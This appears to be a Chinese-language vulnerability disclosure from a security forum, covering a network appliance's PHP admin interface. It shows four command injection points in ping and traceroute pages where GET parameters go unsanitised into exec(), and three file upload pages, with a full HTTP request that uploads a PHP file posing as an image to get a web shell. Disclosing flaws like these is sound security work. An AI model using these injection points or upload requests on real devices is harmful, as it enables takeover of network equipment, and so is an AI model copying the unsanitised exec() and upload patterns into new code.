两处任意命令执行无需登录：
第一处：
```
if(key_exists("text_target", $_GET)
&& key_exists("text_pingcount", $_GET)
&& key_exists("text_packetsize", $_GET))
{
$text_target = $_GET["text_target"];
$text_pingcount = $_GET["text_pingcount"];
$text_packetsize = $_GET["text_packetsize"];
$pingcmd = sprintf("ping %s -c %s -s %s", $text_target, $text_pingcount, $text_packetsize);
exec($pingcmd, $lines);
```
/view/systemConfig/systemTool/ping/ping.php
第二处：
```
$text_target = $_GET["text_target"];
$text_ageout = $_GET["text_ageout"];
$text_minttl = $_GET["text_minttl"];
$text_maxttl = $_GET["text_maxttl"];
$traceroutecmd = sprintf("traceroute %s -f %s -m %s -w %s -q 1", $text_target, $text_minttl, $text_maxttl, $text_ageout);
exec($traceroutecmd, $lines);
$rettraceroutecmd .= _gettext("testing_wait").chr(10).chr(10);
```
/view/systemConfig/systemTool/traceRoute/traceroute.php
利用方式同上。
两处命令执行需登录：
第一处：/view/IPV6/ipv6networktool/ping/ping.php
```
if(key_exists("text_target", $_GET)
&& key_exists("text_pingcount", $_GET)
&& key_exists("text_packetsize", $_GET))
{
$text_target6 = $_GET["text_target"];
$text_pingcount6 = $_GET["text_pingcount"];
$text_packetsize6 = $_GET["text_packetsize"];
$pingcmd = sprintf("ping -c %s -s %s %s", $text_pingcount6, $text_packetsize6, $text_target6);
exec($pingcmd, $lines);
$retpingcmd6 .= _gettext("testing_wait").chr(10).chr(10);
```
第二处：
/view/IPV6/ipv6networktool/traceroute/traceroute.php
```
$text_target = $_GET["text_target"];
$text_ageout = $_GET["text_ageout"];
$text_minttl = $_GET["text_minttl"];
$text_maxttl = $_GET["text_maxttl"];
$traceroutecmd = sprintf("traceroute6 -6 -f %s -m %s -w %s %s", $text_minttl, $text_maxttl, $text_ageout, $text_target);
exec($traceroutecmd, $lines);
$rettraceroutecmd .= _gettext("testing_wait").chr(10).chr(10);
```
三处任意文件上传getshell需登录：
第一处：
\view\userAuthentication\userDefined\upload.php
```
<?php
$page_name = 'AuthenticationOptions';
include_once($_SERVER["DOCUMENT_ROOT"]."/authenticed_writable.php");//身份认证
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://**.**.**.**/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://**.**.**.**/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="/css/skin.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="/js/prototype.js"></script>
<script type="text/javascript" src="/js/base.js"></script>
</head>
<body>
<?php
function upload($file,$dir,$name)
{
$max_size=1024000; //500 KB
$max_w = 8800; //最大宽度800像素
$max_h = 8600; //最大高度600像素
$min_w = 10; //最小宽度400像素
$min_h = 10; //最小高度300像素
if($dir) //如果路径不是以"/"结尾则加上"/"
{ if(substr($dir,-1)!="/")
$dir=$dir."/";
}
if($name=="")
$name=$_FILES["$file"][name];
$len=strrpos($name,"."); //取得主文件名长度
if(!$len)
$len=strlen($name);
$name=substr($name,0,$len); //取得主文件名
//添加扩展名
if($_FILES["$file"][type]=="image/gif")
$name=$name.".gif";
if($_FILES["$file"][type]=="image/pjpeg")
$name=$name.".jpg";
if($_FILES["$file"][type]=="image/jpeg")
$name=$name.".jpg";
if($_FILES["$file"][type]=="image/x-png")
$name=$name.".png";
//检查上传过程中是否出现错误
if($_FILES["$file"][error]) //当发生错误时
{
if(($_FILES["$file"][error]==1)||($_FILES["$file"][error]==2))
$info=_gettext('uploadFail');
if($_FILES["$file"][error] ==3)
$info=_gettext('uploadFail');
if($_FILES["$file"][error] ==4)
$info=_gettext('uploadFail');
if($_FILES["$file"][error] ==5)
$info=_gettext('uploadFail');
}
else //当上传成功时
{
if(($_FILES["$file"][type]=="image/gif")||($_FILES["$file"][type]=="image/pjpeg")||($_FILES["$file"][type]=="image/x-png")||($_FILES["$file"][type]=="image/jpeg")) //是合法的文件类型时
{
if($_FILES["$file"][size]<=$max_size) //检查文件大小
{
$size=GetImageSize($_FILES["$file"][tmp_name]);
if(($size[0]<=$max_w)&&($size[0]>=$min_w)&&($size[1]<=$max_h)&&($size[1]>=$min_h)) //检查图片的长宽
{
//复制文件到指定位置。
copy($_FILES["$file"][tmp_name],$dir.$name); //复制文件，并改名
if(file_exists($dir.$name)) //检查是否上传成功
{
$cmd = "mkdir /home/config/default/Image/";
exec($cmd);
copy($_FILES["$file"][tmp_name],"/home/config/default/Image/".$name); //复制文件，并改名
$info=_gettext('uploadSuccess');
}
else
$info=_gettext('uploadFail');
}
else //图片尺寸不合适时
{
$info=_gettext('uploadFail_image_size_error');
}
}
else //文件超出限制时
{
$info=_gettext('uploadFail_file_too_big');
}
}
else //文件类型非法时
{
$info=_gettext('uploadFail_file_type_error');
}
}
return "$info";
}
$info = upload("upImage","/var/www/auth/images/","")
?>
<script language="javascript" type="text/javascript">
alert("<?php echo $info;?>");
window.location.href="list.php";
</script>
</body></html>
```
第二处：
\view\systemObject\certificateAdmin\sslLib\upload.php
```
<?php
$page_name = 'm_certification';
include_once($_SERVER["DOCUMENT_ROOT"]."/authenticed_writable.php");//ʭ·ވЖ¤
//include_once("E:/ag380-wp/page/nm/model/common_fun.php");
$certDir = '/usr/local/squid/var/temp/';
$result = -1;
function upload(&$errorInfo)
{
global $certDir;
global $result;
$upfilename = 'file';
$file = $_FILES[$upfilename];
if($_FILES[$upfilename]['error'] != 0)
{
$errorInfo = _gettext('fail').'('.$_FILES[$upfilename]['error'].')';
return false;
}
$tmp_name=$file["tmp_name"];
if(!is_uploaded_file($tmp_name))
{
$errorInfo = _gettext('tmp file error');
return false;
}
$destination = $certDir.$file["name"];
if(!file_exists($certDir))
mkdir($certDir);
if(!move_uploaded_file ($tmp_name, $destination))
{
$errorInfo = _gettext('movefail');
return false;
}
$result = load_ssl_certs($destination);
eturn true;
}
if($_REQUEST)
{
foreach ($_REQUEST as $key=>&$value)
{
if(!is_array($value))
$value = stripslashes((trim($value)));
}
}
if ( $_FILES['file']['name']!= '')
{
upload($reMsg);
$reMsg1 ="error";
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://**.**.**.**/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://**.**.**.**/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Ϟ±덢τµµ</title>
<link href="/css/skin.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="/js/prototype.js"></script>
<script type="text/javascript" src="/js/base.js"></script>
<script type="text/javascript">
<?php
if( $result != 0 )
echo "alert('".$reMsg1."!');";
?>
location.href = 'list.php';
</script>
</head>
<body>
</body>
</html>
```
上面两处利用方式：
```
POST /view/systemObject/certificateAdmin/sslLib/upload.php HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: multipart/form-data; boundary=---------------------------7e0313222035c
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
Host: **.**.**.**:9090
Content-Length: 203
Pragma: no-cache
Cookie: PHPSESSID=
Connection: close
-----------------------------7e0313222035c
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg
test
-----------------------------7e0313222035c--
```
第三处：
/view/fireWall/securityPolicy/upload.php
```
<?php
$page_name = 'm_secpolicy';
include_once($_SERVER["DOCUMENT_ROOT"]."/authenticed_writable.php");
require_once("../../../model/File.php");
print_r($_POST);
$upload = new UploadFile("/var/www/html/upload",'',2*1024);
$upload->run('security_policy_file');
print_r($upload->get_info());
?>
```
共 2 兑换
名匿
京公网安备 11010502034610号
全部评论 (1)